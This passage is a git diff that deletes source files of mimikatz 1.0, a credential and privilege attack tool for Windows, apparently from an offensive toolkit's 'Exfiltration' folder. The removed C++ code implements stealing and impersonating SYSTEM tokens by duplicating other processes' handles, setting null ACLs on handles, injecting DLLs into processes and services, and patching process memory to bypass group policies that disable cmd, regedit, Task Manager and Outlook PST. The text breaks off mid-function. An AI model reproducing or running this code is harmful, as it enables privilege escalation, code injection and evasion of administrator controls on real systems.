CloseHandle(hProcess); - } - } - } - else (*outputStream) << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl; - - delete mesHandles; - - return true; -} - -bool mod_mimikatz_handle::tokenImpersonate(vector * arguments) -{ - PNT_SET_INFORMATION_PROCESS NtSetInformationProcess = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "NtSetInformationProcess")); - vector * mesProcess = new vector(); - - bool isProcessList = mod_process::getList(mesProcess); - vector * mesHandles = new vector(); - - if(mod_system::getSystemHandles(mesHandles)) - { - for(vector::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++) - { - HANDLE hProcess; - if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId)) - { - HANDLE nouveauHandle; - if(DuplicateHandle(hProcess, reinterpret_cast(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS)) - { - wstring tokenType; - if(mod_system::getHandleType(nouveauHandle, &tokenType)) - { - if(_wcsicmp(tokenType.c_str(), L"token") == 0) - { - if(isProcessList) - { - mod_process::KIWI_PROCESSENTRY32 * processHote = new mod_process::KIWI_PROCESSENTRY32(); - if( - mod_process::getProcessEntryFromProcessId(monHandle->ProcessId, processHote, mesProcess) - ) - { - wstring userName, domainName; - if(mod_secacl::tokenUser(nouveauHandle, &userName, &domainName)) - { - if(_wcsicmp(userName.c_str(), (arguments->empty() ? L"system" : arguments->front().c_str())) == 0) - { - (*outputStream) << - setw(5) << setfill(wchar_t(' ')) << monHandle->ProcessId << L" " << - setw(25) << setfill(wchar_t(' ')) << left << processHote->szExeFile << right << L" -> " << - setw(5) << setfill(wchar_t(' ')) << monHandle->Handle << L'\t' << - domainName << L'\\' << userName << L'\t'; - - if(mod_secacl::exchangeDupToken(&nouveauHandle)) - { - if(ImpersonateLoggedOnUser(nouveauHandle)) - { - (*outputStream) << L"ok !!" << endl; - break; - } - else - { - (*outputStream) << L"ko - ImpersonateLoggedOnUser ; " << mod_system::getWinError() << endl; - } - } - else - { - (*outputStream) << L"ko - mod_secacl::exchangeDupToken ; " << mod_system::getWinError() << endl; - } - - } - } - else (*outputStream) << mod_system::getWinError(); - } - delete processHote; - } - } - } - CloseHandle(nouveauHandle); - } - CloseHandle(hProcess); - } - } - } - else (*outputStream) << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl; - - delete mesHandles; - - return true; -} - -bool mod_mimikatz_handle::nullAcl(vector * arguments) -{ - vector * mesHandles = new vector(); - if(mod_system::getSystemHandles(mesHandles)) - { - for(vector::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++) - { - HANDLE hProcess; - if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId)) - { - HANDLE nouveauHandle; - if(DuplicateHandle(hProcess, reinterpret_cast(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS)) - { - wstring tokenType; - if(mod_system::getHandleType(nouveauHandle, &tokenType)) - { - bool toACL = true;; - if(!arguments->empty()) - toACL = find(arguments->begin(), arguments->end(), tokenType) != arguments->end(); - - if(toACL) - (*outputStream) << monHandle->ProcessId << L'\t' << monHandle->Handle << L'\t' << tokenType << L"\t\t" << (mod_secacl::nullSdToHandle(&nouveauHandle) ? L"NULL !" : L"KO") << endl; - } - CloseHandle(nouveauHandle); - } - CloseHandle(hProcess); - } - } - } - else (*outputStream) << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl; - - delete mesHandles; - - return true; -} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.h deleted file mode 100644 index 961991c..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.h +++ /dev/null @@ -1,23 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_system.h" -#include "mod_process.h" -#include "mod_secacl.h" -#include -#include - -class mod_mimikatz_handle -{ -public: - static vector getMimiKatzCommands(); - - static bool list(vector * arguments); - static bool processStop(vector * arguments); - static bool tokenImpersonate(vector * arguments); - static bool nullAcl(vector * arguments); -}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.cpp deleted file mode 100644 index 302c05e..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.cpp +++ /dev/null @@ -1,43 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_hash.h" -#include "..\global.h" - -vector mod_mimikatz_hash::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(lm, L"lm", L"Hash LanManager (LM) d\'une chaîne de caractères")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(ntlm, L"ntlm", L"Hash NT LanManger (NTLM) d\'une chaîne de caractères")); - return monVector; -} - -bool mod_mimikatz_hash::lm(vector * arguments) -{ - wstring chaine, hash; - - if(!arguments->empty()) - chaine = arguments->front(); - - if(mod_hash::lm(&chaine, &hash)) - (*outputStream) << L"LM(\'" << chaine << L"\') = " << hash << endl; - else - (*outputStream) << L"Erreur de calcul du hash LM" << endl; - return true; -} - -bool mod_mimikatz_hash::ntlm(vector * arguments) -{ - wstring chaine, hash; - - if(!arguments->empty()) - chaine = arguments->front(); - - if(mod_hash::ntlm(&chaine, &hash)) - (*outputStream) << L"NTLM(\'" << chaine << L"\') = " << hash << endl; - else - (*outputStream) << L"Erreur de calcul du hash NTLM" << endl; - return true; -} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.h deleted file mode 100644 index 96ac879..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.h +++ /dev/null @@ -1,18 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_hash.h" -#include - -class mod_mimikatz_hash -{ -public: - static vector getMimiKatzCommands(); - - static bool lm(vector * arguments); - static bool ntlm(vector * arguments); -}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.cpp deleted file mode 100644 index 012c62a..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.cpp +++ /dev/null @@ -1,25 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_impersonate.h" -#include "..\global.h" - -vector mod_mimikatz_impersonate::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(revert, L"revert", L"RevertToSelf")); - return monVector; -} -bool mod_mimikatz_impersonate::revert(vector * arguments) -{ - (*outputStream) << L"RevertToSelf : "; - if(RevertToSelf()) - (*outputStream) << L"ok"; - else - (*outputStream) << L"ko ; " << mod_system::getWinError(); - (*outputStream) << endl; - - return true; -} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.h deleted file mode 100644 index da62b37..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.h +++ /dev/null @@ -1,19 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_system.h" -#include "mod_process.h" -#include "mod_thread.h" -#include - -class mod_mimikatz_impersonate -{ -public: - static vector getMimiKatzCommands(); - - static bool revert(vector * arguments); -}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.cpp deleted file mode 100644 index 74ca84d..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.cpp +++ /dev/null @@ -1,120 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_inject.h" -#include "..\global.h" - -mod_pipe * mod_mimikatz_inject::monCommunicator = NULL; - -vector mod_mimikatz_inject::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(pid, L"pid", L"Injecte une librairire communicante dans un PID")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(process, L"process", L"Injecte une librairire communicante dans un processus")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(service, L"service", L"Injecte une librairire communicante dans un service")); - return monVector; -} - -bool mod_mimikatz_inject::process(vector * arguments) -{ - wstring processName = arguments->front(); - wstring fullLib = arguments->back(); - - mod_process::KIWI_PROCESSENTRY32 monProcess; - if(mod_process::getUniqueForName(&monProcess, &processName)) - { - (*outputStream) << L"PROCESSENTRY32(" << processName << L").th32ProcessID = " << monProcess.th32ProcessID << endl; - injectInPid(monProcess.th32ProcessID, fullLib); - } - else (*outputStream) << L"Trop, ou pas de processus : \'" << processName << L"\' mod_process::getUniqueProcessForName : " << mod_system::getWinError() << endl; - - return true; -} - -bool mod_mimikatz_inject::service(vector * arguments) -{ - wstring serviceName = arguments->front(); - wstring fullLib = arguments->back(); - - mod_service::KIWI_SERVICE_STATUS_PROCESS monService; - if(mod_service::getUniqueForName(&monService, &serviceName)) - { - (*outputStream) << L"SERVICE(" << serviceName << L").serviceDisplayName = " << monService.serviceDisplayName << endl; - (*outputStream) << L"SERVICE(" << serviceName << L").ServiceStatusProcess.dwProcessId = " << monService.ServiceStatusProcess.dwProcessId << endl; - injectInPid(monService.ServiceStatusProcess.dwProcessId, fullLib); - } - else (*outputStream) << L"Service unique introuvable : \'" << serviceName << L"\' ; mod_service::getUniqueForName : " << mod_system::getWinError() << endl; - - return true; -} - -bool mod_mimikatz_inject::pid(vector * arguments) -{ - wstring strPid = arguments->front(); - wstring fullLib = arguments->back(); - - DWORD pid; - wstringstream monStream(strPid); - monStream >> pid; - - injectInPid(pid, fullLib, !(arguments->size() >= 3)); - - return true; -} - -bool mod_mimikatz_inject::injectInPid(DWORD & pid, wstring & libPath, bool isComm) -{ - bool reussite = false; - - if(!isComm || (isComm && !monCommunicator)) - { - if(reussite = mod_inject::injectLibraryInPid(pid, &libPath)) - { - if(isComm) - { - wstring monBuffer = L""; - - monCommunicator = new mod_pipe(L"kiwi\\mimikatz"); - (*outputStream) << L"Attente de connexion du client..." << endl; - - if(monCommunicator->createServer()) - { - (*outputStream) << L"Serveur connecté à un client !" << endl; - if(monCommunicator->readFromPipe(monBuffer)) - { - (*outputStream) << L"Message du processus :" << endl << monBuffer << endl; - } - else - { - (*outputStream) << L"Erreur : Impossible de lire le premier message ! ; " << mod_system::getWinError() << endl; - closeThisCommunicator(); - } - } - else - { - (*outputStream) << L"Erreur : Impossible de créer un canal de communication ! ; " << mod_system::getWinError() << endl; - closeThisCommunicator(); - } - } - else - (*outputStream) << L"Injecté sans communication (legacy)" << endl; - } else (*outputStream) << L"Erreur : Impossible d\'injecter ! ; " << mod_system::getWinError() << endl; - } - else (*outputStream) << L"Erreur : un canal de communicaton est déjà ouvert" << endl; - - return reussite; -} - - -bool mod_mimikatz_inject::closeThisCommunicator() -{ - if(monCommunicator) - { - (*outputStream) << L"Fermeture du canal de communication" << endl; - delete monCommunicator; - monCommunicator = NULL; - } - return true; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.h deleted file mode 100644 index 92b4884..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.h +++ /dev/null @@ -1,33 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_inject.h" -#include "mod_system.h" -#include "mod_process.h" -#include "mod_service.h" -#include "mod_pipe.h" -#include - -class mod_mimikatz_inject -{ -private: - static bool injectInPid(DWORD & pid, wstring & libPath, bool isComm = true); - static void startComm(); - -public: - static mod_pipe * monCommunicator; - static bool closeThisCommunicator(); - - static vector getMimiKatzCommands(); - - static bool pid(vector * arguments); - static bool process(vector * arguments); - static bool service(vector * arguments); - - static bool injectlegacy(vector * arguments); - -}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.cpp deleted file mode 100644 index 0d61227..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.cpp +++ /dev/null @@ -1,140 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_minesweeper.h" -#include "..\global.h" - -char DISP_MINESWEEPER[] = "012345678.F? !!"; - -vector mod_mimikatz_minesweeper::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(infos, L"infos", L"Obtient des informations sur le démineur en cours")); - return monVector; -} - -bool mod_mimikatz_minesweeper::infos(vector * arguments) -{ - structHandleAndAddr * maStruct = new structHandleAndAddr(); - if(giveHandleAndAddr(maStruct)) - { - STRUCT_MINESWEEPER_GAME monGame; - if(mod_memory::readMemory(maStruct->G, &monGame, sizeof(STRUCT_MINESWEEPER_GAME), maStruct->hMineSweeper)) - { -#ifdef _M_IX86 - if(mod_system::GLOB_Version.dwBuildNumber >= 7000) - monGame.pBoard = monGame.pBoard_WIN7x86; -#endif - STRUCT_MINESWEEPER_BOARD monBoard; - if(mod_memory::readMemory(monGame.pBoard, &monBoard, sizeof(STRUCT_MINESWEEPER_BOARD), maStruct->hMineSweeper)) - { - (*outputStream) << L"Mines : " << monBoard.nbMines << endl << - L"Dimension : " << monBoard.nbLignes << L" lignes x " << monBoard.nbColonnes << L" colonnes" << endl << - L"Champ : " << endl << endl; - - char ** monTableau; - monTableau = new char*[monBoard.nbLignes]; - for(DWORD l = 0; l < monBoard.nbLignes; l++) - monTableau[l] = new char[monBoard.nbColonnes]; - - parseField(maStruct, monBoard.ref_visibles, monTableau, true); - parseField(maStruct, monBoard.ref_mines, monTableau, false); - - for(DWORD l = 0; l < monBoard.nbLignes; l++) - { - (*outputStream) << L'\t'; - for(DWORD c = 0; c < monBoard.nbColonnes; c++) - (*outputStream) << monTableau[l][c] << L' '; - (*outputStream) << endl; - delete[] monTableau[l]; - } - delete[] monTableau; - } else (*outputStream) << L"Impossible de lire les données du plateau" << endl; - } else (*outputStream) << L"Impossible de lire les données du jeu" << endl; - CloseHandle(maStruct->hMineSweeper); - } - delete maStruct; - - return true; -} - -bool mod_mimikatz_minesweeper::parseField(structHandleAndAddr * monHandleAndAddr, PSTRUCT_MINESWEEPER_REF_ELEMENT laBase, char ** monTableau, bool isVisible) -{ - DWORD tailleElementFinal = isVisible ? sizeof(DWORD) : sizeof(BYTE); - - STRUCT_MINESWEEPER_REF_ELEMENT maRefElements; - if(mod_memory::readMemory(laBase, &maRefElements, sizeof(STRUCT_MINESWEEPER_REF_ELEMENT), monHandleAndAddr->hMineSweeper)) - { - PSTRUCT_MINESWEEPER_REF_ELEMENT * ref_colonnes_elements = new PSTRUCT_MINESWEEPER_REF_ELEMENT[maRefElements.nbElements]; - if(mod_memory::readMemory(maRefElements.elements, ref_colonnes_elements, maRefElements.nbElements * sizeof(PSTRUCT_MINESWEEPER_REF_ELEMENT), monHandleAndAddr->hMineSweeper)) - { - for(DWORD c = 0; c < maRefElements.nbElements; c++) - { - STRUCT_MINESWEEPER_REF_ELEMENT maRefColonneElement; - if(mod_memory::readMemory(ref_colonnes_elements[c], &maRefColonneElement, sizeof(STRUCT_MINESWEEPER_REF_ELEMENT), monHandleAndAddr->hMineSweeper)) - { - void * cellules = isVisible ? reinterpret_cast(new DWORD[maRefColonneElement.nbElements]) : reinterpret_cast(new BYTE[maRefColonneElement.nbElements]); - if(mod_memory::readMemory(maRefColonneElement.elements, cellules, maRefColonneElement.nbElements * tailleElementFinal, monHandleAndAddr->hMineSweeper)) - { - for(DWORD l = 0; l < maRefColonneElement.nbElements; l++) - { - if(isVisible) - monTableau[l][c] = DISP_MINESWEEPER[reinterpret_cast(cellules)[l]]; - else - if(reinterpret_cast(cellules)[l]) monTableau[l][c] = '*'; - } - } else (*outputStream) << L"Impossible de lire les élements de la colonne : " << c << endl; - delete[] cellules; - } else (*outputStream) << L"Impossible de lire les références de la colonne : " << c << endl; - } - } else (*outputStream) << L"Impossible de lire les références des colonnes" << endl; - delete[] ref_colonnes_elements; - } else (*outputStream) << L"Impossible de lire les références de l\'élement" << endl; - - return true; -} - -bool mod_mimikatz_minesweeper::giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr) -{ -#ifdef _M_X64 - BYTE PTRN_WIN6_Game_SafeGetSingleton[] = {0x48, 0x89, 0x44, 0x24, 0x70, 0x48, 0x85, 0xc0, 0x74, 0x0a, 0x48, 0x8b, 0xc8, 0xe8}; - LONG OFFS_WIN6_ToG = -(5 + 5 + 6 + 4 + 1); -#elif defined _M_IX86 - BYTE PTRN_WIN6_Game_SafeGetSingleton[] = {0x84, 0xc0, 0x75, 0x07, 0x6a, 0x67, 0xe8}; - LONG OFFS_WIN6_ToG = sizeof(PTRN_WIN6_Game_SafeGetSingleton) + 4 + 1; -#endif - RtlZeroMemory(monHandleAndAddr, sizeof(structHandleAndAddr)); - - wstring nomDemineur(L"minesweeper.exe"); - mod_process::KIWI_PROCESSENTRY32 monDemineur; - if(mod_process::getUniqueForName(&monDemineur, &nomDemineur)) - { - monHandleAndAddr->pidMineSweeper = monDemineur.th32ProcessID; - mod_process::KIWI_MODULEENTRY32 monModule; - if(mod_process::getUniqueModuleForName(&monModule, NULL, &monDemineur.th32ProcessID)) - { - PBYTE limit = monModule.modBaseAddr + monModule.modBaseSize, ptrTemp = NULL; - if(monHandleAndAddr->hMineSweeper = OpenProcess(PROCESS_VM_READ, false, monHandleAndAddr->pidMineSweeper)) - if(mod_memory::searchMemory(monModule.modBaseAddr, limit, PTRN_WIN6_Game_SafeGetSingleton, &ptrTemp, sizeof(PTRN_WIN6_Game_SafeGetSingleton), true, monHandleAndAddr->hMineSweeper)) - { -#ifdef _M_X64 - long offsetTemp = 0; - if(mod_memory::readMemory(ptrTemp + OFFS_WIN6_ToG, &offsetTemp, sizeof(offsetTemp), monHandleAndAddr->hMineSweeper)) - mod_memory::readMemory((ptrTemp + OFFS_WIN6_ToG) + sizeof(long) + offsetTemp + 1, &monHandleAndAddr->G, sizeof(monHandleAndAddr->G), monHandleAndAddr->hMineSweeper); -#elif defined _M_IX86 - if(mod_memory::readMemory(ptrTemp + OFFS_WIN6_ToG, &ptrTemp, sizeof(ptrTemp), monHandleAndAddr->hMineSweeper)) - mod_memory::readMemory(ptrTemp, &monHandleAndAddr->G, sizeof(monHandleAndAddr->G), monHandleAndAddr->hMineSweeper); -#endif - } - } - } - - bool reussite = monHandleAndAddr->hMineSweeper && monHandleAndAddr->G; - - if(!reussite && monHandleAndAddr->hMineSweeper) - CloseHandle(monHandleAndAddr->hMineSweeper); - - return reussite; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.h deleted file mode 100644 index f80be46..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.h +++ /dev/null @@ -1,72 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_process.h" -#include "mod_memory.h" -#include "mod_system.h" -#include - -class mod_mimikatz_minesweeper -{ -private: - typedef struct _STRUCT_MINESWEEPER_REF_ELEMENT { - DWORD nbElements; - DWORD unk0; - DWORD unk1; - PVOID elements; - DWORD unk2; - DWORD unk3; - } STRUCT_MINESWEEPER_REF_ELEMENT, *PSTRUCT_MINESWEEPER_REF_ELEMENT; - - typedef struct _STRUCT_MINESWEEPER_BOARD { - PVOID Serializer; - DWORD nbMines; - DWORD nbLignes; - DWORD nbColonnes; - DWORD unk0; - DWORD unk1; - DWORD unk2; - DWORD unk3; - DWORD unk4; - DWORD unk5; - DWORD unk6; - DWORD unk7; - DWORD unk8; - DWORD unk9; -#ifdef _M_X64 - DWORD unk_x64; -#endif - DWORD unk10; - PVOID unk11; - PSTRUCT_MINESWEEPER_REF_ELEMENT ref_visibles; - PSTRUCT_MINESWEEPER_REF_ELEMENT ref_mines; - DWORD unk12; - DWORD unk13; - } STRUCT_MINESWEEPER_BOARD, *PSTRUCT_MINESWEEPER_BOARD; - - typedef struct _STRUCT_MINESWEEPER_GAME { - PVOID Serializer; - //PVOID pGameStat; on 7x86 - PVOID pNodeBase; - PVOID pBoardCanvas; - PSTRUCT_MINESWEEPER_BOARD pBoard; - PSTRUCT_MINESWEEPER_BOARD pBoard_WIN7x86; - } STRUCT_MINESWEEPER_GAME, *PSTRUCT_MINESWEEPER_GAME; - - typedef struct structHandleAndAddr{ - HANDLE hMineSweeper; - DWORD pidMineSweeper; - PVOID G; - } structHandleAndAddr; - - static bool giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr); - static bool parseField(structHandleAndAddr * monHandleAndAddr, PSTRUCT_MINESWEEPER_REF_ELEMENT laBase, char ** monTableau, bool isVisible = true); - -public: - static vector getMimiKatzCommands(); - static bool infos(vector * arguments); -}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.cpp deleted file mode 100644 index bfc18f1..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.cpp +++ /dev/null @@ -1,210 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_nogpo.h" -#include "..\global.h" - -vector mod_mimikatz_nogpo::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(regedit, L"regedit", L"Lance un éditeur de registre, ignorant DisableRegistryTools")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cmd, L"cmd", L"Lance une invite de commande, ignorant DisableCMD")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(taskmgr, L"taskmgr", L"Lance le gestionnaire de tache, ignorant DisableTaskMgr")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(olpst, L"olpst", L"Lance Outlook, ignorant DisablePst")); - return monVector; -} - -bool mod_mimikatz_nogpo::regedit(vector * arguments) -{ - (*outputStream) << L"Editeur de registre : " << (disableSimple(L"regedit.exe", L"DisableRegistryTools", L"KiwiAndRegistryTools") ? "OK" : "KO") << endl; - return true; -} - -bool mod_mimikatz_nogpo::cmd(vector * arguments) -{ - (*outputStream) << L"Invite de commande : " << (disableSimple(L"cmd.exe", L"DisableCMD", L"KiwiAndCMD") ? "OK" : "KO") << endl; - return true; -} - -bool mod_mimikatz_nogpo::taskmgr(vector * arguments) -{ - (*outputStream) << L"Gestionnaire de taches : " << (disableSimple(L"taskmgr.exe", L"DisableTaskMgr", L"KiwiAndTaskMgr") ? "OK" : "KO") << endl; - return true; -} - -bool mod_mimikatz_nogpo::olpst(vector * arguments) -{ - char szDisable[] = "DisablePst"; - char szKiwi[] = "KiwiAndPst"; - - wstring pathToOutlook; - - if(getApplicationPathFromCLSID(L"Outlook.Application", &pathToOutlook)) - { - DWORD pidOutlook = 0; - bool reussite = disableSimple(pathToOutlook, szDisable, szKiwi, &pidOutlook); - - (*outputStream) << L"Outlook avec PST : " << (reussite ? L"OK" : L"KO"); - if(reussite) - { - mod_patch::patchModuleOfPID(pidOutlook, L"olmapi32.dll", reinterpret_cast(szDisable), sizeof(szDisable), reinterpret_cast(szKiwi), sizeof(szKiwi)); - } - } else (*outputStream) << L"Outlook introuvable" << endl; - return true; -} - -bool mod_mimikatz_nogpo::getApplicationPathFromCLSID(wstring application, wstring * path) -{ - bool reussite = false; - - DWORD regError; - - wstring pathToApplication = L"Software\\Classes\\"; - pathToApplication.append(application); - pathToApplication.append(L"\\CLSID"); - - HKEY hApplication; - - regError = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pathToApplication.c_str(), 0, KEY_READ, &hApplication); - if(regError == ERROR_SUCCESS) - { - DWORD ApplicationType = 0; - DWORD ApplicationSize = 0; - LPBYTE monGUID = NULL; - - regError = RegQueryValueEx(hApplication, L"", NULL, &ApplicationType, monGUID, &ApplicationSize); - if(regError == ERROR_SUCCESS) - { - if(ApplicationType == REG_SZ) - { - monGUID = new BYTE[ApplicationSize]; - - regError = RegQueryValueEx(hApplication, L"", NULL, &ApplicationType, monGUID, &ApplicationSize); - if(regError == ERROR_SUCCESS) - { - wstring regPathToPath = -#ifdef _M_X64 - L"Software\\Wow6432Node\\Classes\\CLSID\\"; -#elif defined _M_IX86 - L"Software\\Classes\\CLSID\\"; -#endif - regPathToPath.append(reinterpret_cast(monGUID)); - regPathToPath.append(L"\\LocalServer32"); - - HKEY hApplicationPath; - - regError = RegOpenKeyEx(HKEY_LOCAL_MACHINE, regPathToPath.c_str(), 0, KEY_READ, &hApplicationPath); - if(regError == ERROR_SUCCESS) - { - DWORD ApplicationPathType = 0; - DWORD ApplicationPathSize = 0; - LPBYTE monPath = NULL; - - regError = RegQueryValueEx(hApplicationPath, L"", NULL, &ApplicationPathType, monPath, &ApplicationPathSize); - if(regError == ERROR_SUCCESS) - { - if(ApplicationPathType == REG_SZ) - { - monPath = new BYTE[ApplicationPathSize]; - - regError = RegQueryValueEx(hApplicationPath, L"", NULL, &ApplicationPathType, monPath, &ApplicationPathSize); - if(reussite = (regError == ERROR_SUCCESS)) - { - path->assign(reinterpret_cast(monPath)); - } else (*outputStream) << "RegQueryValueEx \'" << monPath << "\' : " << mod_system::getWinError(false, regError) << endl; - delete[] monPath; - } else (*outputStream) << "Le type retourné par \'" << monPath << "\' n\'est pas : REG_SZ" << endl; - } else (*outputStream) << "RegQueryValueEx \'" << monPath << "\' : " << mod_system::getWinError(false, regError) << endl; - RegCloseKey(hApplicationPath); - } else (*outputStream) << "RegOpenKeyEx \'" << regPathToPath << "\' : " << mod_system::getWinError(false, regError) << endl; - } else (*outputStream) << "RegQueryValueEx \'" << monGUID << "\' : " << mod_system::getWinError(false, regError) << endl; - delete[] monGUID; - } else (*outputStream) << "Le type retourné par \'" << monGUID << "\' n\'est pas : REG_SZ" << endl; - } else (*outputStream) << "RegQueryValueEx \'" << monGUID << "\' : " << mod_system::getWinError(false, regError) << endl; - RegCloseKey(hApplication); - } else (*outputStream) << "RegOpenKeyEx \'" << pathToApplication << "\' : " << mod_system::getWinError(false, regError) << endl; - - return reussite; -} - - -bool mod_mimikatz_nogpo::disableSimple(wstring commandLine, SIZE_T taillePattern, PBYTE maCleDeDepart, const void * maCleFinale, DWORD * monPID) -{ - bool reussite = false; - - PROCESS_INFORMATION * mesInfos = new PROCESS_INFORMATION(); - if(mod_process::start(&commandLine, mesInfos, true)) - { - PEB * monPeb = new PEB(); - if(mod_process::getPeb(monPeb, mesInfos->hProcess)) - { - PBYTE patternAddr = NULL; - // Ici NULL est "toléré", pas de moyen simple de connaitre la taille en mode USER :( (enfin pour le moment) - if(mod_memory::searchMemory(reinterpret_cast(monPeb->ImageBaseAddress), NULL, maCleDeDepart, &patternAddr, taillePattern, true, mesInfos->hProcess)) - { - if(!(reussite = mod_memory::writeMemory(patternAddr, maCleFinale, taillePattern, mesInfos->hProcess))) - { - (*outputStream) << L"mod_memory::writeMemory " << mod_system::getWinError() << endl; - } - } - else (*outputStream) << L"mod_memory::searchMemory " << mod_system::getWinError() << endl; - } - else (*outputStream) << L"mod_process::getPeb " << mod_system::getWinError() << endl; - - delete monPeb; - - if(!(ResumeThread(mesInfos->hThread) != -1)) - (*outputStream) << L"ResumeThread " << mod_system::getWinError() << endl; - - if(monPID) - { - *monPID = mesInfos->dwProcessId; - } - - WaitForInputIdle(mesInfos->hProcess, INFINITE); - 